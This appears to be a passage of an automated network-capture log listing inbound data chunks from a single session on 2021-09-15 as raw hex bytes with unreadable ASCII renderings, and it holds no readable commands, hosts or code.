83 b6 5b 96 0b e1 87 72 28 c9 6b bf 69 20 64 e9 07 55 c3 0e b2 08 3d e8 e1 0f a5 2e ff 11 a1 95 bd 6f da eb 8c 80 3e 18 8b b4 ec bd 82 3e 08 7c 70 54 7e b8 04 fd 40 bc 41 c0 6b 69 a0 cc Data Ascii: Sye1 4 v-NgV 1HWH <!=KFAsk:5VsF{)dl7kGz;,7Ou1xW~0O+QPpEm \$iR3^[,?# (=8fNuad!r(ri dU=-o >> pT~@Aki
2021-09-15 10:18:25 UTC	77	IN	Data Raw: a5 3f 2b 61 84 7b 12 a6 3f 86 d5 eb 33 3a 81 0c 92 81 95 99 83 1a f1 8f 27 88 86 38 fc 9d fe b9 5b 91 50 30 bf 2e 6a 4a 23 fb 34 cb 56 71 55 66 55 19 a7 32 9b c8 5c 0d f0 32 05 a9 aa 9f f1 af 40 39 99 e7 03 6d 13 1b 33 88 17 aa de 22 e5 5b c7 fc 3f e4 70 a8 b1 55 5c 9b 0f 2c 77 fc 45 2d b2 e5 e3 df 81 1a 6d 4c b3 f7 11 3d 72 51 f6 53 c0 94 e2 5e 61 a6 48 22 23 0c a5 78 0b d1 2e cd b3 49 25 8b b4 4b ea 98 fd 14 d4 cf 6a 8c ab 59 c7 53 10 20 0a 23 cf a7 c4 ff dc 05 32 5b f9 61 21 20 29 9d a1 f4 42 8e 6e ac 7c aa e7 7e f7 41 9a 93 a0 05 8f 30 2a e4 70 c4 ea a4 9f e9 03 be 4d e2 56 59 22 1d 34 fa a0 23 15 ef 9a dd b1 ef b4 b7 a4 9c 8a 2e 57 6c 08 07 35 d0 7a 33 ec 54 da 28 f4 00 c7 b4 2e 49 b6 cd 7c 8a b5 6f 26 1f d9 30 b6 18 4c 6f 83 3b 3a b8 da 29 38 3a f1 Data Ascii: ?+a{?3:8[P0,j]#4VqUfU2l2@9m3"?pU ,wE~mL=rQS^aH"#x.i%KjY# 2[a)Bn ~A0^mpMVY"4#.Wl5Z3T(.l o&0Lo;):8:
2021-09-15 10:18:25 UTC	79	IN	Data Raw: 06 9c 60 61 dc 70 ac dd bc 5a 5e 06 03 b5 86 82 2f a4 d1 42 8e ec f1 2c 64 d2 09 65 af bc a2 35 a7 b6 46 a8 a3 ab bc 98 a9 dd 5d 62 8f 8a 9b 9c 2d 29 e4 61 63 57 56 8a c2 3c a2 09 3c 2b 49 f4 bd 8c c3 0e 48 54 63 ba b3 55 a5 25 20 d2 f0 ea bd f6 d7 3f 0b 18 75 a7 44 d2 75 92 fd 1e b4 60 73 a3 f2 d3 61 6f a8 cd 6e 85 4e 2f 90 a3 e8 c7 34 d1 a2 ed ea da f7 fe 9a 39 7f 4c ca f6 ec 98 fb 31 46 e9 e9 64 7d d4 28 12 ff cd ad 89 50 d4 d0 01 9d 25 a8 da 15 66 56 a3 af ad 8e 11 0b a9 5e db c8 4d 2c 2e eb fd e0 21 c5 32 7c 5b 2e 50 0f 7a b9 92 dd a5 36 13 1e b4 a4 60 f0 bc 42 81 ac 6e b8 34 0b 9e c2 ea 87 04 bb 1b e4 c6 ee 3f 23 28 7c 88 62 e3 17 29 87 dc d5 36 94 f5 29 48 64 1e 82 09 c1 84 5d 4f 3d 82 e1 9f c8 5d 4b 11 a1 35 4d ec 1e 34 80 91 2b 6c ae 1d 1a c8 8a Data Ascii: `apZ`^B,de5F]b-)acWV<+<IHHsIz?uDu'saonN/49L1Fd)(PM%IV^M,!2[.Pz6`Blh4?# (b 6)Hd O=)K5M4+I
2021-09-15 10:18:25 UTC	80	IN	Data Raw: e0 6a fc 3c 35 15 14 22 ef 43 0c 00 62 61 02 74 da 6d f8 ae 75 f6 01 dd 2d 34 39 82 08 b6 72 96 32 92 b8 ef d2 f1 60 66 b4 2b 37 ec ff 29 55 b3 b9 5a f6 df b7 b1 64 52 5e 23 fb 34 fe 3b 59 ab 5e 2f 61 d5 48 54 63 ba b3 55 a5 25 20 d2 15 f6 3e e2 10 67 df 79 d0 9a fc 69 18 5f 61 a3 19 37 07 4c 8b 81 85 9e 75 9e 6d 26 28 00 50 4c ba 31 9b c6 5a 30 b0 96 f9 a1 9b bb ee 48 8b 4d e3 17 9e ba 5b e2 19 68 b6 1f c3 fa 19 1b 87 1c 2e f6 f5 c9 8a 22 f7 8f 68 69 26 89 95 06 6b cd 63 ab 19 6e 96 d0 93 bb 25 63 b0 ab 34 cb ba 6b c5 f9 f5 ab d4 86 65 fb 5d 77 59 14 0b 00 91 14 f5 56 30 65 ab da 09 5a cf 3d 31 76 85 ea 35 f2 cb ea be 4d 14 4d 25 34 25 4e c7 06 8b 02 47 8d 63 4e 71 ba a2 af 35 9d f4 a2 d3 f7 99 e7 54 d4 33 ed 9e 77 80 b7 c8 42 c4 e2 76 09 02 21 90 3e 4d Data Ascii: j<5"Cbatmu-49r2`f+7)UZdR^#4;Y^/aHTcU% >gyi_a7Lum&(PL1Z0Hm[h."hi&kcn%4c&kjwYV0e=1v5MM%4%N GcNq5T3wBv >M
2021-09-15 10:18:25 UTC	81	IN	Data Raw: 61 7a 4f 26 8f bf dd 1b 22 44 cf 24 46 4a 83 9a aa f1 cc 12 2d 7d 5b d4 90 41 26 dc 44 03 ba c3 00 ba fc d3 88 99 19 b8 2c 8c 84 90 96 ad bc 28 3f 58 83 ae 92 6f bb a9 e4 4a 7f a2 9d f9 45 e1 be 2f e3 f3 c2 2a 57 be 19 5b db a0 75 07 49 cc 34 c8 45 16 ed 80 5f 71 f2 6c b2 dc cb 8a 35 19 50 1b e0 55 45 b6 c1 19 0b c1 6d 87 f9 c1 6d 19 42 9f e5 99 6f a8 b2 cd 5d b3 a1 15 4c b4 c4 36 b1 a2 68 2a 69 75 9e 8f 9b 70 98 35 af 4d 8b 83 4c bb 93 d6 38 7a 84 c0 98 8a 0b af 2f 0e a5 2d 48 9d 67 ed 92 ef c9 41 b0 5f 53 71 8f bd 29 00 fc ca 35 2c 8d 3f c7 2c 65 9b 31 7e 20 2e 93 5a 36 d0 8b df 2f c1 c4 ac 36 5b 58 2c 7d fa 82 de d4 1c 7f 3d d7 f9 31 ef 98 3d d7 44 cb 6f e4 36 a8 1d 76 57 4b 2b e3 92 2e 76 95 78 21 1a f4 d6 b7 3d 5c c7 21 3a da 76 9f 74 82 22 32 57 d5 Data Ascii: azO&"D\$FJ-}[A&D,(?XoJE/*W[ul4E_qI5PUEmmBo L6h*iuP5ML8z/-HgA_Sq 5,?.e1~ .Z6 6[X, =1=Do6vW K+vx!=!:vt"2W
2021-09-15 10:18:25 UTC	82	IN	Data Raw: 97 75 f8 e6 30 66 91 c5 47 38 a3 1c 5d 20 85 f1 80 06 0a 10 bd f9 45 ba f1 4f 88 b7 9e a9 a6 d9 cd 92 ab 1a e8 7f 45 35 47 ee bc 15 50 d2 b9 70 32 18 13 78 fa 56 d9 0c a7 2c e8 e9 68 95 b0 69 7c 83 98 78 75 30 e0 fd 3f 86 58 6f 01 0c a4 d6 82 88 48 0d a1 1b 9a c7 18 4b b7 d3 45 f2 74 35 0c 5e 04 d4 10 67 c9 30 b7 fe 5a bd 46 1c 08 5e 76 b9 12 c3 df 79 cd 3d 14 e9 9e ed 14 26 42 d2 bd 7a 31 0f 2c b4 78 2d 41 cc 57 67 38 11 d2 ca c5 7f 27 88 61 95 71 bc f8 0e 31 2b 06 32 8c b4 2c 33 ee 5c 6d 5a 5e ab bd 66 48 33 6d 29 1c 42 8e 1b 00 ba 24 29 4b ec 66 bc a2 cc b6 87 6a a9 e1 3e 79 98 a9 7f 33 35 20 77 d9 0d ec 29 e4 c0 01 36 b5 36 80 a1 1f 09 3c aa c1 c9 ff a6 81 97 f1 48 73 44 cc 92 e4 93 b2 4f 08 f6 d7 df d2 24 26 a5 06 73 c4 92 fd c6 23 98 7b c0 b0 7e cc Data Ascii: u0fG8 EOE5GPPp2xV,hilxu0?XoHKEt5^g0ZF^vy=~&Bz1,x-AWg8^aq1+2,3mZ^fH3m)B\$)Kfj>y35 w)66<HsD O\$&s#(
2021-09-15 10:18:25 UTC	83	IN	Data Raw: e2 e3 35 b0 f5 1a 98 2d 27 fa 45 2f 0d 67 5d 40 20 95 92 2d d7 3b 44 d9 92 72 82 83 4b 7f f2 37 ab 36 07 ab 72 92 de 8b ec 7c ef 74 c6 2d 1f 83 87 7c 1c c1 81 72 51 db 21 04 c6 54 8c b5 4d 07 05 e2 70 6a 70 30 5c af 26 7b 4a 09 b0 3f fb f6 8e bb c5 12 fe ab d9 fc 91 51 c0 37 11 2d fc 00 e8 92 aa 37 55 fb 7d 60 c9 5b 8b 1e 50 d2 81 89 83 8d 6c 4b 74 93 ca 7a 14 1c 4a 27 00 bb fa 0a 6c 98 65 81 66 ad b6 c7 21 a4 d7 78 12 45 09 98 11 f5 0f a7 4e 03 1e 92 de e9 29 04 c9 f9 3c 43 6a a4 af 55 22 97 ba 8d c7 f8 39 3f c8 9a ae a1 7c f5 48 5f 28 ac 9b 7e cc 33 0e 88 7d fc 17 da 0e ea 93 21 30 f0 f5 c7 53 2c c5 03 b1 e5 a6 fa 82 5c 5e 0f 20 3d b6 5a a7 35 28 67 a0 3f 0d 48 de 3f 2e b7 a9 32 48 8b 22 15 f6 a9 05 08 3e 9d 03 94 74 3a e3 d1 c1 24 2a a3 ba d8 ba 23 Data Ascii: 5-'E/g @ -;DrK76r t-rQ TgPjp0l&[J?Q7-7U)`PIKtzJ!effxEN)=CjU"9? H_(-3)0S,^=Z5(g?H?>H?>:t\$#
2021-09-15 10:18:25 UTC	84	IN	Data Raw: f2 4e d7 13 9c 21 f5 10 be b6 7c d6 37 bb 6e 35 f1 b0 8a 07 63 f0 13 99 af 4d d0 b6 3c a2 df dc 52 7c fb 43 10 7e ac ce 56 a7 a7 33 92 61 a4 a2 ad c5 f1 e4 6f f4 2e 82 30 ce 2a b8 5c 58 e1 78 75 3d ae 9b 62 fb 5e d9 5c ae 64 e0 01 21 7a 4e 96 a5 08 5e 26 28 63 3a 77 d3 99 3b 86 01 0f a4 5b 87 e3 b7 f2 de cb 1f df 67 a7 48 96 be 0e af bc c9 ae 89 91 04 ee 8c c8 3a 8f 1e ef cf 4b 64 6c ad 10 c7 ca 89 2e 0a b8 08 16 61 12 e7 fb e2 53 36 65 b4 9f eb 54 58 b4 be 54 19 f6 23 7f 15 25 e1 eb d8 1b cf 4e 72 a3 3f e4 19 a4 f9 bc 60 13 dc c4 29 ad 41 d0 a1 22 03 c2 86 3d aa 25 2c c7 71 e4 f1 2c 64 54 8c 2b 52 00 5d 77 a7 f3 46 29 26 fc 41 2f 56 c9 5d 28 8f 06 1e c4 d0 9b 1b 71 63 18 56 1d 47 75 5f a4 c3 06 49 a0 bd 1e 46 44 b5 e0 8c e3 6c 03 bc 8d 75 ca 40 09 28 ba Data Ascii: N 7n5cM<R C~V3ao.0^Xxu=b^dlzN^&(c:w;[gH:Kdl.aS6eTXT#%Nr?)A"=,q,T+R wF)&A/V (qcVGu_!FDlu@(
2021-09-15 10:18:25 UTC	86	IN	Data Raw: 97 73 95 9d 0a b8 65 7e 25 44 64 4d 5d 91 d5 33 38 97 b7 66 a4 78 f9 96 4a 27 9b 13 0a e5 aa a0 cb df 4a 56 79 5e 11 b8 3b 52 6e ab cc 4e a7 0f 3a ab 04 ef 15 9a 0d 21 d2 ba d7 2c f3 38 bf 46 13 f2 e0 f4 14 69 d0 ae c6 66 f5 39 31 83 50 79 95 1d e1 81 6d 66 98 92 bf 86 73 09 34 9e 76 08 22 44 c4 ea 63 32 55 02 07 02 47 a4 a5 d3 40 83 44 d0 83 44 d2 c6 a4 4e 3b 27 10 86 dd 8f 95 c9 51 1e a5 e9 8d 93 3e 3f 6c d0 72 93 83 2f 27 6c 38 5b 06 b5 58 29 05 8f af c4 c7 1d f2 ed 10 ff 56 09 98 b7 9a 75 58 d2 88 ae 1f e9 3d 16 ec f8 03 a6 bc e1 54 22 28 94 1c 90 9d fd a1 f7 9a 20 3f 4e 61 65 fe 56 59 c0 79 82 81 60 6a 19 cd 0c 7f 18 ce 65 9f 99 71 9b 77 84 38 de 75 23 46 c8 6e ba f6 c4 a3 ba 7a dc 04 cb 46 87 19 c2 99 de 49 4b b7 c5 37 83 f2 17 62 d2 0c 4e ea 7e 22 8e Data Ascii: se~%DdM 38fxJJVy^;RnN:!.8Fif91Pymfs4v"Dc2UG@DSrN;Q>?lr/lB[X)VuX=T"(?NaeVyy`jeqw8u#Fn zFIK7bN~"

Timestamp	kBytes transferred	Direction	Data
2021-09-15 10:18:25 UTC	87	IN	Data Raw: 91 8c d2 5a f8 a0 25 00 31 c6 cb 89 cd 65 54 74 68 f2 12 d7 5a 9c 4f f5 64 be d3 7c a4 37 d5 6e 50 f1 c4 8a 27 63 b5 13 e1 af 3d d0 da 3c cd df ae 52 19 fb 31 10 22 ac 9a 56 de a7 43 92 04 56 49 ac 90 17 39 6e b8 f4 7e 31 ce e0 37 5d 18 5b f7 74 3d ae 9b 62 a8 13 95 19 6d 36 c0 64 cf 1b 3c ef 55 7c 3b 42 7d 80 0d 04 bd 66 d9 e2 2d 2c c1 35 64 e2 ce 82 2a b9 7b 8f 86 c7 3b e1 04 6c cb 90 69 cc e6 e3 e9 bd f9 aa 57 d2 fa bb 9d 15 d8 4d c5 5d 2a bf e7 4f 6d 28 50 33 5d aa ba 8f 5e 4c 59 d8 94 8c 58 36 a1 be 33 19 9e 2e 1c 15 4f cf 80 d8 77 e2 23 72 cd 44 a7 3b d4 91 a2 13 15 b2 d6 44 bc 41 a5 a1 54 66 db e5 37 d3 dc 58 d8 15 b1 82 49 16 7b ed 04 37 43 5d 33 c2 d8 25 1d 5f cb 35 02 32 d0 3c 11 fc 3a 71 fa b4 d6 1b 3f 46 57 25 4d 1b 24 33 f6 ac 55 2e f4 d4 Data Ascii: Z%1eTthZOd]7nP'c=<R1"VCVI9n~17][t=bm6d<U];B]f-,5d*:[iIWM]\$_Og(P3)^LYX63.Ow#rD;DATf7Xl{7C]3%_52<q?FW%MS\$3U.
2021-09-15 10:18:25 UTC	88	IN	Data Raw: 88 5e 77 4d 80 1e 96 05 86 d6 cf 51 14 1a bb 8a bb d3 56 f4 ee 7e e4 04 2e 25 2b 41 3e 2e e5 f0 51 4b f8 eb 1e e0 24 9c e6 2c 55 fa 7c 7f 83 c6 c9 bf b3 16 33 35 2d 7e 96 5c 3b 07 c5 a2 27 87 0f 7e 8e 65 9c 61 c6 6c 71 d2 d5 94 5f 9c 4c d2 24 7c 9d 84 8c 7b 35 8c fe 82 14 87 56 50 e5 37 10 fa 71 8f 4e 6d 15 d5 ce de a3 03 58 9e 13 08 71 44 b0 ea 16 17 31 71 6e 5e 28 9c f9 a3 03 e6 2c fd 21 0a a9 d7 23 4f 42 65 d6 b9 e3 fc bc 3e 6d d6 e9 d1 93 7d 78 15 bf 10 fc e6 48 55 00 5e 3e 69 e9 20 6a 59 e7 df b6 b5 72 9d 80 76 9a 3f 09 f4 f9 ff 1c 2b b1 a6 c6 76 9b 53 79 85 95 03 c3 bc e1 54 22 0d c6 6f ff c1 9e 99 9c ea 6d 5a 2b 02 09 86 22 2a c0 0d 82 f4 33 0e 69 a4 6d 10 6a bd 0e c3 99 32 d8 0e ec 5a ac 10 4c 34 a5 08 d3 99 b1 db d7 26 dc 54 cb 34 d3 76 ab ff Data Ascii: ^wMQV~.~%+A~.QK\$,U]35~--;~ealq_L\$[5VP7qmqzXqD1qn^~(!#ObE>m>)xHU^>i jYrv?+vSyT"omZ~+"3imj2ZL4&T4v
2021-09-15 10:18:25 UTC	89	IN	Data Raw: 66 ab e2 c0 db 0f ab b4 3d 89 b6 92 4b d1 4c 8a 1e dc ef bb 2e 9b cf 57 72 5e bf b8 89 a2 35 32 15 1c 86 4e bf 13 c8 21 9a 10 fb b6 04 d6 52 bb 6e 35 f1 b0 8a 07 30 f0 5c 99 e9 4d 84 b6 6b a2 9e dc 00 7c be 43 4c 7e e1 ce 39 a7 dd 33 fb 61 3a 2d c0 c5 76 6b 32 f4 b9 0d 5e ce 9a 37 34 58 37 f7 18 3d cf 9b 42 fb 02 d9 34 2e 17 e0 6f a1 1c 4e f3 25 7a 5e 44 28 9a b5 04 d3 63 b4 87 01 0c a4 08 07 df b7 b4 5e 88 1f 88 e7 f5 48 c4 6b 5b af e0 49 e7 89 fe 84 94 8c a1 3a d7 8e 82 cf 38 f4 31 ad 74 57 a4 89 5d 0a cb 08 77 61 5f e7 fb e2 58 36 6a b4 05 93 af c4 c7 1d f2 ec 10 9a 56 6f 98 96 9a 6e 25 cf 66 72 91 3f db 19 bb f9 be 60 15 dc d5 29 b6 41 dd a1 08 03 e5 86 2a aa df 2c c9 71 86 f1 43 64 6d 8c 69 52 43 5d 60 a7 f9 46 29 26 ef a1 30 56 c1 5d 30 8f 08 1e d4 Data Ascii: f=KL.Wr^52NIrN50IMk[CL~93a:-vk2^74X7=B4.oN%z^D(c^Hk[!t:81tW]wa_X6j1X[#B%fr?)^)*qCdmiRC]'F)&A0V]0
2021-09-15 10:18:25 UTC	91	IN	Data Raw: 50 09 64 d9 07 55 6f 7b ca 62 51 82 96 58 2c 3d c6 ee 37 1e 63 ec 7a f3 69 f5 ba 93 51 31 49 bc f8 e8 a7 01 b5 9d 39 dd 70 2e 57 2b 22 0c 4a f5 82 56 38 e4 eb 66 ac 17 fd f2 60 4e 98 61 1e 97 bf f7 bf df 16 56 10 5e 0d b8 00 52 48 ab d2 4e e2 0f 0c ab 04 ef 61 9a 6c 21 a5 ba f5 2c f2 38 b6 46 52 f2 e0 f4 1a 69 f8 ae 82 66 87 39 08 a2 05 5d cc 37 b6 a9 3e 2d bc f3 ad e4 28 28 2e a2 3d 79 37 71 88 b5 67 45 54 7c 3f 71 7a f0 a0 a5 67 e6 78 c7 43 72 cf a4 4c 3b 30 10 bb dd bc 95 cc 51 0c a5 9a 8d e0 3e 0f 6c d0 72 8e 83 2c 27 5f 38 5d 06 86 58 04 05 93 af c4 c7 1d f2 ec 10 9a 56 6f 98 96 9a 6e 58 dc 88 99 1f ee 3d 0a ec f0 03 b1 bc 8f 54 43 28 ab 1c 9a 9d c1 a1 ff 9a 02 3f 45 61 7d fe 50 59 af 79 ee 81 33 6a 3a cd 02 7f 0c ce 7a 9f ee 71 b9 77 9e 38 c9 75 10 Data Ascii: PdUo[bQX,=7cziQ1I9p.W+"JV8f'NaV^RHNa!l,8FRif9]7>~((=y7qqET]?qzgxCrL;0Q>lr,[_8]XVOnX=TC(?Ea)PYy3j:zqw8u
2021-09-15 10:18:25 UTC	92	IN	Data Raw: 42 4e df 3f a6 58 96 62 3f a8 f6 f7 3b 62 56 2b b8 12 c2 83 b4 b7 66 c7 d1 1d fa f6 92 22 84 3e f9 7b b9 8c c9 5a d5 a0 36 00 33 c6 dd 89 a2 65 32 74 4c f2 2f d7 60 9c 52 f5 67 be d2 7c d6 37 bb 6e 65 f1 ff 8a 57 63 c3 13 ca af 28 d0 c4 3c d4 df b9 52 0e fb 43 10 7e ac 9e 56 e8 a7 63 92 52 56 7d ac aa 17 19 6e 80 f4 0d 31 ce e0 72 5d 35 5b 96 74 54 ae f7 62 fb 56 8a 5c 63 62 b4 01 f1 78 6e 96 60 08 33 26 49 f3 dc 76 bf 07 94 87 0a c0 5b 63 90 c5 f2 3b dc 6c df 94 b4 48 96 6b 1e fc bc 04 aa dd 91 d4 ee ac c8 69 bb eb ee bd 59 82 6d c8 32 25 cb 89 2e 59 b8 45 16 35 12 b7 9a c2 31 63 06 c7 fb 8e 31 2a d2 9e 33 57 9e 42 16 78 4f 84 80 d8 77 cf 23 21 cd 72 8b 4d d4 a9 cd 40 61 89 b7 5a d9 24 a5 d3 54 03 b5 d6 45 e5 ac 7c bd 42 e4 d1 2c 37 15 e9 69 20 43 2b Data Ascii: BN?Xb?;bV+f">[Z63e2L/`Rg]7neWc(<RC~VcRV]n1r]5[1TbV\cbxn'3&lv@[c;IHkiYm2%.YE51c1*3WBxOw#lRM@aZ\$TE]B,7i C+
2021-09-15 10:18:25 UTC	93	IN	Data Raw: 6e 6b 18 de b8 83 d0 62 97 17 b2 02 cb 28 af 6b b3 29 21 64 ba 07 30 3c 27 a2 53 3d b4 e1 76 4d 0d b6 b2 5e 51 4d 99 1e 87 05 99 d6 fc 51 5e 1a a3 8a e7 d3 23 f4 ef 7e d7 04 18 25 2d 41 21 2e f4 f0 4b cb eb 29 e0 0d 9c e2 2c 4b fa 7c 7f 8a c6 cb bf df 16 73 35 2d 7e e4 5c 61 07 99 a2 0c 87 66 7e df 65 a9 61 ee 6c 51 d2 94 94 78 9c 75 d2 16 7c f2 84 d1 7b 1a 8c f2 82 55 87 0b 50 c1 37 10 fa 69 8f c7 6d 12 d5 e2 de a8 03 60 58 f0 13 61 71 44 b0 cf 16 41 31 5e 6e 47 28 d7 f9 a7 03 f0 2c f1 21 14 a9 d0 23 67 42 51 d6 91 e3 d3 bc 05 6d f5 e9 d1 93 7b 78 3f bf 26 fc e7 48 45 00 0a 3e 28 e9 3c 6a 64 e7 db b6 c7 72 d7 80 63 9a 0a 09 eb f9 f3 1c 2c b1 ed c6 31 9b 45 79 81 95 6f c3 bc e1 71 22 5b c6 40 df ff 9e c8 9c ee 6d 74 2b 08 09 90 22 3c c0 01 82 dd 33 08 Data Ascii: nkb(k)!d0<'S=vM^QMq^#~%~!~.@K),K]s5~--laf~ealQxu][UP7im"XaqDA1^nG(!,##BQM{x?&HE>(<jdrcl,1Eyoq"[@mt+"<3
2021-09-15 10:18:25 UTC	95	IN	Data Raw: 5a ab 57 41 81 b5 8d 65 77 e2 e6 a3 bf 74 cc 8d 5c 23 7b b6 7d ca 1a ca 54 76 9d 92 c3 5e 5b 38 18 cc 23 ab ad c0 d3 0f a5 b4 1d 89 f6 92 07 d1 4d 8a 27 dc ca bb 33 9b cc 57 65 5e 9c b8 e0 a2 09 32 18 1c 93 4e 8b 13 da 21 9c 10 d2 b6 19 d6 4d bb 07 35 9d b0 e6 07 02 f0 3d 99 d7 4d bd b6 50 a2 df dc 52 7c de 43 63 7e f0 ce 10 a7 ce 33 fe 61 33 2d f6 c5 7e 6b 02 f4 98 0d 50 ce bc 37 3b 58 32 f7 18 3d cb 9b 18 fb 3f d9 30 2e 0e e0 60 a1 56 4e ee 25 65 5e 4a 28 f3 b5 76 d3 22 b4 f4 01 50 a4 1d 07 f9 b7 9e 5e b9 1f 85 e7 dd 48 fa 6b 72 af dd 49 f6 89 e3 84 8b 8c ab 3a de 8e 80 cf 4d 7f 1e ad 57 57 b9 89 58 0a dd 08 64 61 61 e7 b4 e2 49 36 6b b4 97 eb 31 58 d2 be 16 19 ed 23 4a 15 09 e1 e9 d8 1b cf 46 72 97 3f e2 19 b8 f9 a1 60 00 cd eb 29 aa 41 cc a1 20 03 d0 Data Ascii: ZWAewt#{ }Tv"q#M'3We^2NI!M5=MPR[Cc~3a3--kP7;X2=?0.`VN%e^J"(p^Hkrl:-WWWXdaal6k1X~JFr?)^A
2021-09-15 10:18:25 UTC	96	IN	Data Raw: d1 7e 7a 91 b0 6c 1f f3 ea ce 11 15 12 2b c8 1b 80 01 6b 6b de d7 a6 b6 11 e3 4b ee 27 84 5b c9 4e d5 40 48 38 d9 63 55 5d 7b d6 62 5c 82 bd 58 3e 3d d3 ee 2a 1e 39 ec 77 f3 6b f5 b1 93 22 31 46 c8 f9 bb a0 73 9c 9d 2e b8 76 7e 4a 44 27 4d 47 91 9c 33 2e 97 98 66 cd 78 f6 96 02 27 90 13 0c e5 a2 a0 bf df 33 56 46 5e 22 b8 79 52 74 ab 87 4e ee 0f 22 ab 01 ef 00 9a 18 21 b3 ba c8 2c ef 38 b7 46 08 f2 f0 f4 12 69 e2 ae e5 66 f4 39 0c 83 51 79 8e 1d ff 81 3d 66 a7 92 b1 86 65 09 31 9e 7f 08 14 44 c3 ea 3b 32 5b 02 40 02 42 a4 8a d3 67 83 2c 9e 71 72 c8 a4 50 3b 31 10 d6 dd c2 95 f4 51 02 a5 9a 8d e7 3e 78 6c bf 72 ac 83 27 27 72 38 4a 06 e9 58 6a 05 b4 af d9 c7 14 f2 f4 10 ed 56 68 98 8b 9a 79 58 ed 88 8a 1f f2 3d 17 ec f4 03 b0 bc a7 54 76 28 96 1c a3 9d cd Data Ascii: ~zl+kkK'[N@H8cU][bX>=>9wk"1Fs.v~JD'MG3.fx'3VF^"yRtN"!;8Fi9Qy=fe1D;2[@Bg,qrP;1Q>xlr"r8Xj)VhyX=TV(
2021-09-15 10:18:25 UTC	97	IN	Data Raw: 01 eb 95 72 05 65 30 5f 16 e5 42 c2 b4 70 a0 ea 97 77 c5 15 35 b2 dc be 04 34 8e cb d0 f9 74 fd 8d 65 60 4e d9 3f a4 58 ac 62 1f a8 f5 f7 7e 62 68 2b ad 12 df 83 a8 b7 0f c7 e7 1d e6 f6 f4 22 a5 6c 3e f4 7b bd 8c c9 5a fe a0 0b 00 08 c6 d9 89 cc 65 76 74 65 f2 25 d7 76 9c 7d f5 43 be d3 7c b5 37 ce 6e 47 f1 d5 8a 41 63 a8 13 99 af 68 d0 c5 3c fe df 8f 52 19 fb 30 10 0d ac a7 56 8c a7 5d 92 12 56 2d ac ef 17 45 6e 9d f4 63 31 a7 e0 37 5d 08 34 85 00 3d ae 9b 62 c7 68 d9 5c 7b 11 85 73 ef 19 23 f3 25 08 5e 26 78 92 c6 05 a4 68 c6 e3 01 0c a4 5b 22 90 f4 c2 f0 2d c4 df 81 b4 3c 96 1b 1e e1 bc 2c aa fd 91 c0 ee fe c8 53 bb f8 ee aa 59 f4 6d 87 32 79 cb ea 2e 6c b8 6f 12 61 12 e7 9a e2 31 13 06 c7 fb b7 31 0b d2 d6 33 7c 9e 51 16 67 4f 8e 80 bc 77 ef 23 31 cd 50 Data Ascii: re0_Bpw54te'N?Xb~bh+">{Zevte%v}C]7nGAch<R0V]V~Enc17]4=bh{[s#%&xh"]L<~SYM2.yl0a113]QgOw#1P

Timestamp	kBytes transferred	Direction	Data
2021-09-15 10:18:25 UTC	98	IN	Data Raw: ca 6e a5 f6 d4 a3 a5 7a a5 04 cb 46 d3 19 f8 99 d3 49 44 b7 c8 37 cc f2 23 62 c5 0c 53 ea 70 22 d3 51 0e 18 92 e0 0c 03 96 2d 97 21 d0 de ee 33 c4 74 1d e4 e0 34 c1 aa c5 10 8b af c3 d4 ee db af 9d db 8c 00 06 5e b3 4c ae 6d b8 c1 24 ce de 02 a4 55 a1 d7 f6 4c 4a 33 5d a1 78 b1 a5 5d 32 3b c2 be 08 08 47 30 67 ef 52 f7 27 42 9c 7a a6 f7 d6 be 54 57 75 9c 4f 54 eb 65 fa 1f 02 0c a1 1d 2b 17 cb 9b 1c 39 9e f0 53 92 6e 8e f3 72 71 65 6c 5f 55 e5 30 91 d1 1f c4 8c f2 03 ab 62 41 d3 b5 cc 65 51 e2 97 a3 be 74 95 8d 0c 23 3d b6 53 ca 3d ca 10 76 f4 92 a3 5e 0d 38 5f cc 73 ab ef c0 97 0f 84 b4 72 89 9b 92 4f d1 5f 8a 15 dc e8 bb 3f 9b d2 57 00 5e c6 b8 ac a2 16 32 28 1c a7 4e bb 13 e8 21 87 10 df b6 3a d6 6f bb 3e 35 ad b0 f9 07 0a f0 67 99 ca 4d a3 b6 12 a2 a7 Data Ascii: nzFID7#bSp"Q-!3t4^Lm\$ULJ3]x]2;G0gR'BzTWuOTe+9Snrqel_U0pAwE4te#N?S=v^8_srO_?W^2(N!;o>5gM
2021-09-15 10:18:25 UTC	99	IN	Data Raw: a9 58 fc 3e 2f 22 58 a3 3b 87 d2 96 e5 3d 2b 2d b3 3f b8 aa 07 c9 64 c5 9c 2a fb 4e 1f 2c 57 1d 68 ab ce cb 67 20 a7 f7 da 53 01 ab c4 b4 47 24 90 c7 9a 05 ca f0 a5 e6 3f 70 f0 19 04 0a 3b 15 ce 08 42 d1 e9 6f 13 51 94 f2 fe 6b c8 55 9a 4d 76 19 2d 98 a1 4d 31 5e ec 75 0a 5e 87 3b 04 fc d9 eb fa 85 18 5e 67 89 7b e1 89 1a a9 1e b3 3c 92 18 d8 eb e0 14 61 ad c1 96 d0 c6 e7 a5 47 65 57 a9 5e 5f 8c 98 b4 81 3b f1 c4 bd 2a 1b f2 38 31 08 4b ef c3 89 e4 60 11 92 19 68 0d 3c cf 58 5b b7 28 0a 32 62 dc 79 a0 19 ce 47 3b 44 a4 66 08 0b da 8b b3 48 bb de db a2 12 c9 b5 84 a9 19 b3 11 11 34 ec c4 17 96 89 a3 c2 9c fe 6b 2f 7b e4 d1 42 49 a3 4b 9b 4d d4 bb 59 b9 1f 97 38 62 df b5 d0 74 75 09 83 02 4a 6b 50 01 46 c9 5b 2e 2a 56 d6 4b 86 ce 0c d7 f0 51 fc 62 a4 e4 7a Data Ascii: X>"/X;+;-?d*N,Whg SG\$?p;BoQkUMv-M1^u^;^g{<aGeW^..*81k^h<X[(2byG;DfH4k{B[KMY8btu,kJPf{.*VKQbz
